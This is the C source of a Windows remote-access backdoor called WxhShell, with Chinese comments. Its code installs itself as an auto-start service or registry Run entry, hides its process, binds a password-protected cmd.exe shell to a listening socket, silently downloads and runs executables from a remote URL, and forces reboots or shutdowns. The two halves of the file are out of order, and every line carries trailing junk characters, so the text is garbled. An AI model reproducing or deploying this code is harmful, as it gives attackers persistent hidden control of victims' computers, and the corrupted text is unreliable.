    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 S2;LB  
    else { ,/[1hhP@  
    closesocket(wsh); Ld=6'C8ud  
    ExitThread(0); Vc+~yh.)  
    } ;}k_  
    break; T;i+az{N:V  
    } f|2QI ~R  
  // 获取shell ~O 4@b/!4  
  case 's': { i(xL-&{  
    CmdShell(wsh); z'0 =3  
    closesocket(wsh); S(:|S(  
    ExitThread(0); Az/P;C=  
    break; [ * !0DW`  
  } <<H'Z  
  // 退出 H-8_&E?6m  
  case 'x': { Htep3Ol3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |^#Z!Hp_Y  
    CloseIt(wsh);  5e2yJ R  
    break; )7Oj  
    } Z*'_/Grv?  
  // 离开 s+v$sF  
  case 'q': { 9W j9=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %t$)sg]  
    closesocket(wsh); d%oHcn  
    WSACleanup(); (>dL  
    exit(1); q'jInwY|x  
    break; KC54=Rf  
        } Vb?_RE_H  
  } 0p'g+ 2  
  } .GFKy  
wL&[Vi_j{  
  // 提示信息 :BblH0'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M$3/jl*#}  
} KCn#*[  
  } ,_:6qn{  
$-gRD|oY  
  return; XL(2Qk  
} )(yKm/5 0  
z@2nre  
// shell模块句柄 <p[RhP  
int CmdShell(SOCKET sock) TaZlfe5z  
{ r6 kQMFA  
STARTUPINFO si; N Q }5'  
ZeroMemory(&si,sizeof(si)); +sXnC\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 07Oagq(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5 gwEr170  
PROCESS_INFORMATION ProcessInfo; ) 3I|6iS  
char cmdline[]="cmd"; YV6w}b:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kb'l@d#E  
  return 0; D \boF+^  
}  3;Tsjv}  
UDb  
// 自身启动模式 PH!rWR  
int StartFromService(void) wT:mfS09N  
{ l+?sR<e?!  
typedef struct 6Q`7>l.|?  
{ ))J#t{X/8v  
  DWORD ExitStatus; a1ai?},  
  DWORD PebBaseAddress; ['I5(M@  
  DWORD AffinityMask; QW&@>i  
  DWORD BasePriority; {;hR FQ^b  
  ULONG UniqueProcessId; M'$?Jp#]}  
  ULONG InheritedFromUniqueProcessId; weIlWxy  
}   PROCESS_BASIC_INFORMATION; )lVplAhZD  
smX&B,&@  
PROCNTQSIP NtQueryInformationProcess; 7] 17?s]t,  
"9;Ay@'B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vFK(Dx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SuA`F|7?P  
1(4IcIR5T;  
  HANDLE             hProcess; N'8}5Kx5  
  PROCESS_BASIC_INFORMATION pbi; ))uki*UNK  
8FBXdk?A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wQX%*GbL2  
  if(NULL == hInst ) return 0; 0f,Ii_k bT  
<:~'s]`zf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d'p@[1/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n Ayyjd3!S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HE3x0H}o>  
Il!#]  
  if (!NtQueryInformationProcess) return 0; tEllkHyef  
Q_A?p$%;L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @34CaZ$k  
  if(!hProcess) return 0; &P>a  
R?l={N=Wf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xx,|n  
\05 n$.  
  CloseHandle(hProcess); Z'y:r2{ql  
pg4jPuCM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1Gk'f?dw  
if(hProcess==NULL) return 0; lLuAgds`  
n}q/:|c  
HMODULE hMod; X6o iOs  
char procName[255]; ['@R]Si"!  
unsigned long cbNeeded; efm#:>H  
4+a u6ABy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /Y*6mQ:  
U\;mM\2rE  
  CloseHandle(hProcess); Vxim$'x!  
M"z3F!-j  
if(strstr(procName,"services")) return 1; // 以服务启动 NSQf@o  
Su[f"2oR  
  return 0; // 注册表启动 U9yR~pw  
} x5!lnN,#  
J ?H| "  
// 主模块 P!lTK   
int StartWxhshell(LPSTR lpCmdLine) hgF4PdO1e  
{ Rm=[Sj84  
  SOCKET wsl; )cxML<j'  
BOOL val=TRUE; BxGz4  
  int port=0; c`!8!R  
  struct sockaddr_in door; [214b=  
08;t%[R  
  if(wscfg.ws_autoins) Install(); 3AarRQWsn  
PH]ui=  
port=atoi(lpCmdLine); ?1/wl;=fm  
PD@@4@^  
if(port<=0) port=wscfg.ws_port; JJE0q5[  
REKv&^FLN  
  WSADATA data; W$?Bsz)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e{`DvfY21  
.k:Uj-&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #6qLu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2W=am_\0e.  
  door.sin_family = AF_INET; atjrn:X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )\0LxsZ  
  door.sin_port = htons(port); tU(vt0~b  
"(SZ;y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |>AHc_:$$  
closesocket(wsl); ;PG,0R`Z;  
return 1; ~0XV[$`L  
} <LOas$  
 9/R<,  
  if(listen(wsl,2) == INVALID_SOCKET) { }TAHVcX*p  
closesocket(wsl); naWW i]9  
return 1; >-<7 r?~  
} 9_\1cSk'  
  Wxhshell(wsl); >&2n\HR\  
  WSACleanup(); %^66(n)  
9Y-6e0B:  
return 0; RF.8zea{O`  
"ku ?A^f  
} P :D6w){  
5nJmabw3  
// 以NT服务方式启动 XKT2u!Lx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L# NW<T  
{ ]h0K*{  
DWORD   status = 0; lhhp6-r  
  DWORD   specificError = 0xfffffff; $4*k=+wS  
z9[BQ(9t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qECta'b&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z2.ZxL"*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dzwto;  
  serviceStatus.dwWin32ExitCode     = 0; (.54`[2+L  
  serviceStatus.dwServiceSpecificExitCode = 0; 5Rec~&v  
  serviceStatus.dwCheckPoint       = 0; Sej\Gt  
  serviceStatus.dwWaitHint       = 0; E;C=V2#>[  
>\c"U1%E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +idp1SJ4  
  if (hServiceStatusHandle==0) return; 6N.+  
l:rT{l=8*  
status = GetLastError(); a#:K"Mf.  
  if (status!=NO_ERROR) ^zVBS7`J  
{ ISl-W1u}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7BDoF!kCx  
    serviceStatus.dwCheckPoint       = 0; */yR _f  
    serviceStatus.dwWaitHint       = 0; 4w-P%-4  
    serviceStatus.dwWin32ExitCode     = status; 9Wi+7_)  
    serviceStatus.dwServiceSpecificExitCode = specificError; -R-|[xN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G Za<  
    return; Y>: e4Q  
  } gXI8$W>  
t=$Hv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ON/U0V:v  
  serviceStatus.dwCheckPoint       = 0; 2 .)`8|c9  
  serviceStatus.dwWaitHint       = 0; |=9=a@l]P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^%r>f@h!L  
} FlQ(iv)P  
}c~o3t(7`b  
// 处理NT服务事件,比如:启动、停止 b];? tP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "G3zl{?GP  
{ B '"RKs]  
switch(fdwControl) 5Myp#!|x:  
{ 8h| 9;%  
case SERVICE_CONTROL_STOP: O'} %Bjl  
  serviceStatus.dwWin32ExitCode = 0; X0QLT:J b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %;{R o)03  
  serviceStatus.dwCheckPoint   = 0; A#P]|i  
  serviceStatus.dwWaitHint     = 0; 17{$D ,P  
  { YjM_8@ <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C%y!)v_x  
  } QL4BD93v  
  return; Lw!Q*3c  
case SERVICE_CONTROL_PAUSE: 7 -Yn8Gq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RY]Vo8  
  break; ;_vo2zl1  
case SERVICE_CONTROL_CONTINUE: 9:tn! <^=I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #fR~ 7 KR  
  break; XY1e eB-  
case SERVICE_CONTROL_INTERROGATE: (jY -MF3  
  break; ,:1_I`d>#X  
}; /Sag_[i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bAa+MB#A  
} ^E3i]Oem  
8S_v} NUm  
// 标准应用程序主函数 L&2 Zn{#`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z1u1%FwOfM  
{ n!K<g.tjW  
-I\Y m_)  
// 获取操作系统版本 (ug^2WG Yq  
OsIsNt=GetOsVer(); H tu}M8/4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I T\lkF2  
*3>$ f.QU  
  // 从命令行安装 .}.63T$h9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5, <:|/r  
?Q XS?  
  // 下载执行文件 ucVn `  
if(wscfg.ws_downexe) { _(Qec?[^Ps  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fq2t^c|$  
  WinExec(wscfg.ws_filenam,SW_HIDE); f\~OG#AaX  
} }dt7n65  
~3u'=u9l  
if(!OsIsNt) { pl{Pur ;i  
// 如果时win9x,隐藏进程并且设置为注册表启动 sC=fXCGW\p  
HideProc();  #nS  
StartWxhshell(lpCmdLine); j>70AE3[8  
} ~20O&2  
else 3LaqEj  
  if(StartFromService()) .;&1"b8G  
  // 以服务方式启动 psHW(Z8G  
  StartServiceCtrlDispatcher(DispatchTable); oMj;9,WK'  
else tL!R^Tf  
  // 普通方式启动 C;&44cU/]  
  StartWxhshell(lpCmdLine); /v,H%8S  
~J Xqyw}  
return 0; '[nH] N  
} 3:;2Av2(X.  
j\Z/R1RcW  
9. 7XRxR^  
)j[rm   
=========================================== *mgK^9<  
| rDv!m  
0Q1s JDa.  
rz @;Zn  
pg%'_+$~m  
0rtP :Nj$  
" 7fg +WZ  
8 )w75+&  
#include <stdio.h> \!["U`\.K  
#include <string.h> ARD&L$AX  
#include <windows.h> ^Cs5A0xo#s  
#include <winsock2.h> oq<n5  
#include <winsvc.h> &Jr~ )o   
#include <urlmon.h> c8'! >#$  
)OAd[u<  
#pragma comment (lib, "Ws2_32.lib") M@n9i@UsO  
#pragma comment (lib, "urlmon.lib") AJ*FQo.U  
AIR\>.~"i*  
#define MAX_USER   100 // 最大客户端连接数 -R[ *S "  
#define BUF_SOCK   200 // sock buffer (\Qk XrK  
#define KEY_BUFF   255 // 输入 buffer 0m|$ vb  
W\tSXM-Hg  
#define REBOOT     0   // 重启 QQ5G?E  
#define SHUTDOWN   1   // 关机 b@yGa%Gz@  
T@ [*V[  
#define DEF_PORT   5000 // 监听端口 cG"+n@ \  
+s}"&IV%  
#define REG_LEN     16   // 注册表键长度 Q599@5aS  
#define SVC_LEN     80   // NT服务名长度 u5, \Kz  
w1je|Oil  
// 从dll定义API Zljj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2^}E!(<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =vv4;az X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xt%-<%s%f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4EO,9#0  
U2DE"  
// wxhshell配置信息 .5',w"R  
struct WSCFG { f ,?P1D\  
  int ws_port;         // 监听端口 ]&')# YO  
  char ws_passstr[REG_LEN]; // 口令 Ig hd,G-  
  int ws_autoins;       // 安装标记, 1=yes 0=no `(r [BV|h}  
  char ws_regname[REG_LEN]; // 注册表键名 gsqpQq7  
  char ws_svcname[REG_LEN]; // 服务名 )PRyDC-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c teUKK.|)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uHv9D%R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d{UyiZm\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^b{w\HZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wn(pz)+Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4&Q.6HkL  
O;u&>BMk  
}; ~"E@do("  
VFZ_Vw  
// default Wxhshell configuration a]<y*N?qu  
struct WSCFG wscfg={DEF_PORT, o2FQ/EIE  
    "xuhuanlingzhe", v>2gx1F"?  
    1, |G+6R-_  
    "Wxhshell", vpoeK'bi,  
    "Wxhshell", liW0v!jBo  
            "WxhShell Service", qeK_w '  
    "Wrsky Windows CmdShell Service", V Q6&7@ c  
    "Please Input Your Password: ", <$^76=x,8P  
  1, z*cC2+R}=  
  "http://www.wrsky.com/wxhshell.exe", gg>O:np8  
  "Wxhshell.exe" ~mqiXr8  
    }; `g2DN#q[0  
`wJR^O!e  
// 消息定义模块 H5f>Q0jq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Mb;;hb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uY,(3x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TNA?fm  
char *msg_ws_ext="\n\rExit."; 1 rr\l`  
char *msg_ws_end="\n\rQuit."; f\W1u#;u)  
char *msg_ws_boot="\n\rReboot..."; (RP"VEVR  
char *msg_ws_poff="\n\rShutdown..."; B?qLXRv  
char *msg_ws_down="\n\rSave to "; $YM>HZe-  
GZ.F q  
char *msg_ws_err="\n\rErr!"; OC$Y8Ofr  
char *msg_ws_ok="\n\rOK!"; pg\Ylk"T  
Q3t9J"=1g  
char ExeFile[MAX_PATH]; ZSKSMI%D  
int nUser = 0; 0-ISOA&  
HANDLE handles[MAX_USER]; 9V]\,mD=  
int OsIsNt; y#'|=0vTvP  
V^a] @GK:  
SERVICE_STATUS       serviceStatus; LV4]YC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }1ABrbc  
0] 'Bd`e  
// 函数声明 b<|l* \  
int Install(void); f?_UT}n  
int Uninstall(void); }u=-Y'!#]  
int DownloadFile(char *sURL, SOCKET wsh);  6j FD|  
int Boot(int flag); -lKk.Y.}r  
void HideProc(void); L'dR;T[;  
int GetOsVer(void); }uJH!@j  
int Wxhshell(SOCKET wsl); !ejLqb  
void TalkWithClient(void *cs); - J9K  
int CmdShell(SOCKET sock); 1 m)WM,L  
int StartFromService(void); JG%y_ Qy?K  
int StartWxhshell(LPSTR lpCmdLine); '%@fW:r~  
,O[HX?>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "r6DZi(^K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wI!>IV(5  
?U~9d"2=  
// 数据结构和表定义 <P)vx  
SERVICE_TABLE_ENTRY DispatchTable[] = K,7IBv,B[  
{ k_p4 f%9  
{wscfg.ws_svcname, NTServiceMain}, xef@-%mcoy  
{NULL, NULL} 50 :gk*hy  
}; ;aJBx  
nE!h&}(  
// 自我安装 (nWi9(}J  
int Install(void) 1(z&0Y;  
{ t(-`==.R  
  char svExeFile[MAX_PATH]; <IWO:7*#  
  HKEY key; A %iZ_h^  
  strcpy(svExeFile,ExeFile); 9%>GOY  
[whX),3>  
// 如果是win9x系统,修改注册表设为自启动 l6^IX0&p  
if(!OsIsNt) { f; <qGM.#|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4{?Djnh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3g!tk9InG  
  RegCloseKey(key); UADD 7d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oe<9CK:?>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "*E#4e[  
  RegCloseKey(key); F ] e]  
  return 0; & 5!.!Z3  
    } :"Vfn:Q  
  } Uq0GbLjv"  
} YK[PC]w  
else { r=Up-(j  
ai7*</ls  
// 如果是NT以上系统,安装为系统服务 Ob:}@jj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N/ 7Q(^  
if (schSCManager!=0) E1(2wJ-3"  
{ KkVFY+/)  
  SC_HANDLE schService = CreateService ZJCD)?]=3  
  ( ZP>KHiA  
  schSCManager, a}~Xns  
  wscfg.ws_svcname, >syQDB  
  wscfg.ws_svcdisp, HmWU;9Vn+  
  SERVICE_ALL_ACCESS, h,-8( S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tDF=Iqu)a  
  SERVICE_AUTO_START, =D<{uovQB  
  SERVICE_ERROR_NORMAL, Algk4zfK2,  
  svExeFile, kPt9(E]  
  NULL, yi7m!+D3  
  NULL, Z x9oj  
  NULL, g3r4>SA  
  NULL, ~NYy@l   
  NULL bo]xah|."j  
  ); #/u%sX`#y  
  if (schService!=0) NdpcfZ q  
  { qDR`)hle  
  CloseServiceHandle(schService); Y|eB;Dm1q  
  CloseServiceHandle(schSCManager); jS LNQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `~zY!sK  
  strcat(svExeFile,wscfg.ws_svcname); .G"UM>.}d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GtQ$`~r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pkd#SY  
  RegCloseKey(key); JI{|8)S  
  return 0; %1E:rw@  
    } 0/".2(\}T  
  } bVE t?E*+  
  CloseServiceHandle(schSCManager); Ood8Qty(  
} y6.Q\=  
} ?W  l=F/  
>"^H"K/T  
return 1; ?.&]4z([  
} [i7Ug.Oi"  
L B:wo .X  
// 自我卸载 U#=Q`  
int Uninstall(void) U%2[,c_  
{ _wa1R+`_  
  HKEY key; H{Zfbb  
ES~ykE  
if(!OsIsNt) { Ey5E1$w%&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z:Hk'|q}I  
  RegDeleteValue(key,wscfg.ws_regname); A"wor\(  
  RegCloseKey(key); YQU #aOl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^j"*-)R  
  RegDeleteValue(key,wscfg.ws_regname); m2!y;)F0  
  RegCloseKey(key); gwvy$H   
  return 0; Q+d9D1b  
  } pNY+E5  
} `4 Jlf!  
} *], ]E;  
else { wYTF:Ou^5~  
7O3\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IuJj ;L1  
if (schSCManager!=0) 0~qnwe[g}  
{ %<x2=#0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /\=syl  
  if (schService!=0) L;a> J  
  { tvH{[e$  
  if(DeleteService(schService)!=0) { X{SD3j=G#  
  CloseServiceHandle(schService); /b*VFA/75  
  CloseServiceHandle(schSCManager); 6qsT/  
  return 0; 2jQ|4$9j  
  } h=uv4&  
  CloseServiceHandle(schService); OidF{I*O  
  } wyqXD.o f  
  CloseServiceHandle(schSCManager); l1X& Nw1W  
} <mE)& 7C  
} - V Rby  
t/? x#X  
return 1; %M+ID['K9/  
} 7r=BGoA2E  
>_ji`/ d{  
// 从指定url下载文件 Y {]RhRR  
int DownloadFile(char *sURL, SOCKET wsh) a~b^`ykcWP  
{ 9p ;)s  
  HRESULT hr; S^}@X?v  
char seps[]= "/"; $<jI<vD+:  
char *token; @+LZSd+I  
char *file; cwK 6$Ax  
char myURL[MAX_PATH]; L&td4`2y  
char myFILE[MAX_PATH]; ]|cL+|':y  
!(=bH"P  
strcpy(myURL,sURL); b[<Q_7~2  
  token=strtok(myURL,seps); v#EXlpS  
  while(token!=NULL) pVTx# rY  
  { ;\yVwur  
    file=token; $i@~$m7d-  
  token=strtok(NULL,seps); 4zyy   
  } 2" (vjnfH  
]-O/{FIv  
GetCurrentDirectory(MAX_PATH,myFILE); xviz{M9g  
strcat(myFILE, "\\"); ejYJOTT{^  
strcat(myFILE, file); ADoxma@  
  send(wsh,myFILE,strlen(myFILE),0); oi4tj.!J  
send(wsh,"...",3,0); HbWl:yU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D{~mJDUzK  
  if(hr==S_OK) 9o7E/wP  
return 0; Rn={:u4  
else Hd(|fc{2  
return 1; MqXN,n+`k  
SooSOOAx[  
} Z/=x(I0  
m09 Bds  
// 系统电源模块 %;0Llxf"  
int Boot(int flag) n,eO6X 4  
{ 0*?~I;.2m$  
  HANDLE hToken; q=8I0E&q  
  TOKEN_PRIVILEGES tkp; Ql-RbM  
T9enyYt%  
  if(OsIsNt) { "T4Z#t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  S5RQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3| 5Af  
    tkp.PrivilegeCount = 1; ?YR/'Vq97  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L5C4#X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \& 6  
if(flag==REBOOT) { B6tp,Np5,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |1`|E- S=  
  return 0; o ~"?K2@T  
} 8E`rs)A  
else { .%>UA|[~:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qv<[f=X9|  
  return 0; oy90|.]G  
} +JE h7  
  } <6k5nEh  
  else { /I~iUND"G  
if(flag==REBOOT) { @A(*&PU>j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 56(S[  
  return 0; XBv:$F.>$  
} 8 /Z  
else { Nq>74q]}n8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ct[{>asun  
  return 0; xcO Si>  
} m_~!Lj[u.  
} E )D*~2o/  
xk=5q|u_-  
return 1; r=[T5,L(s  
} e2|2$|  
f1F#U @U  
// win9x进程隐藏模块 >W[8wR  
void HideProc(void) T 'pX)ZH  
{ Kx.I'_Qk  
=\Td~>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ks=j v:  
  if ( hKernel != NULL ) %<%ef+*  
  { xcfEL_'o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l0Wp%T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "#x<>a )O\  
    FreeLibrary(hKernel); " SkTVqm  
  } ?.#?h>MS{s  
M{$EJS\d=  
return; b`N0lH.V  
} >pjmVl w?  
>x0"gh  
// 获取操作系统版本 -7)%J+5  
int GetOsVer(void) 'r6s5 WC  
{ MKSiOM  
  OSVERSIONINFO winfo; fvKb0cIx]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]c,ttS _  
  GetVersionEx(&winfo); Afi;s. ,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NDLk+n  
  return 1; E!;giPq*n  
  else uNe5Mv|}  
  return 0; 3B:U>F,]4  
} !P7&{I,e  
,Z*Fo: q  
// 客户端句柄模块 Ht,_<zP;  
int Wxhshell(SOCKET wsl) _y{z%-  
{ w[@>k@=  
  SOCKET wsh; 7!Z\B-_,  
  struct sockaddr_in client; -MZ LkSU  
  DWORD myID; 6tXx--Nh  
jt-Cy  
  while(nUser<MAX_USER) P]A>"-k  
{ -?gr3rV@  
  int nSize=sizeof(client); lNuZg9h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Iv.W7 [  
  if(wsh==INVALID_SOCKET) return 1; G v(bD6Rz  
Gqvnc8V&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |FS,Av  
if(handles[nUser]==0) t?H.M  
  closesocket(wsh); kBYZNjSz  
else UD6D![e  
  nUser++; '3B`4W,  
  } F/z$jj)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z6e)|*cA$  
"X~ayn'@w,  
  return 0; D@"g0SW4  
} pfS?:f<+6"  
)2T1g~8  
// 关闭 socket Eyu]0+  
void CloseIt(SOCKET wsh) "TB4w2?=  
{ +-~hl  
closesocket(wsh); dj,7lJy  
nUser--; o, e y.  
ExitThread(0); (u`[I4z`  
} %/!n]g-  
vq yR aaMf  
// 客户端请求句柄 S'~Zlv 3`  
void TalkWithClient(void *cs) :Z|lGH =  
{ WJvD,VMz  
jT/SZ|S  
  SOCKET wsh=(SOCKET)cs; +!9&E{pmo  
  char pwd[SVC_LEN]; ^zn j J\  
  char cmd[KEY_BUFF]; 5zXw0_  
char chr[1]; _[}r2,e  
int i,j; 7n W*3(  
6||zwwk'.  
  while (nUser < MAX_USER) { #|'&%n|Z  
i-oi?x<u&(  
if(wscfg.ws_passstr) { KfpDPwP@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OU+oS,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _%#Q \ D  
  //ZeroMemory(pwd,KEY_BUFF); WbZ{) i  
      i=0; -kY7~yS7  
  while(i<SVC_LEN) { G!},jO*"  
WS6pm6@A*!  
  // 设置超时 x  8lgDO  
  fd_set FdRead; |0nbO2}  
  struct timeval TimeOut; .])ubK_9  
  FD_ZERO(&FdRead); gI rVrAV#  
  FD_SET(wsh,&FdRead); 1Y iUf  
  TimeOut.tv_sec=8; NQS@i'W=g  
  TimeOut.tv_usec=0; Pk444_"=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D )z'FOaI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yjxa=CD  
o"D`_ER  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G4g <PFx  
  pwd=chr[0]; K%9PIqK?4  
  if(chr[0]==0xd || chr[0]==0xa) { Ep-{Ew{T_=  
  pwd=0; v w$VR PW  
  break; .&d]7@!qy  
  } @=ABO"CQ  
  i++; r2?-QvQ  
    } F, {M!dL  
zA[6rYXY  
  // 如果是非法用户,关闭 socket PZ2$ [s0W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k]FP1\Y  
} aH<BqD[#  
"<b~pfCOQk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F*QZVg+<*X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sOA!Sl  
I=)Hb?q T~  
while(1) { F[/Bp>P7  
&$uQ$]&H  
  ZeroMemory(cmd,KEY_BUFF); \eD#s  
9Mo(3M  
      // 自动支持客户端 telnet标准   'T@K$xL8  
  j=0; t{t*.{w  
  while(j<KEY_BUFF) { B6r~4=w_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X}b%gblx  
  cmd[j]=chr[0]; Q`ERI5b6  
  if(chr[0]==0xa || chr[0]==0xd) { zp[Uh]-dMK  
  cmd[j]=0; `-!t8BH  
  break; F`,XB[}2  
  } w^N xR,  
  j++; l +RT>jAmK  
    } J<dr x_gc  
-+4:} sD  
  // 下载文件 D-*`b&i48  
  if(strstr(cmd,"http://")) { S8;Dk@rr(y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ") kE 1D%  
  if(DownloadFile(cmd,wsh)) clK3kBh~&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` oN~  
  else w^tNYN,i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lC&U9=7W  
  } NYtp&[s2-  
  else { {M: Fsay>p  
cl4`FU  
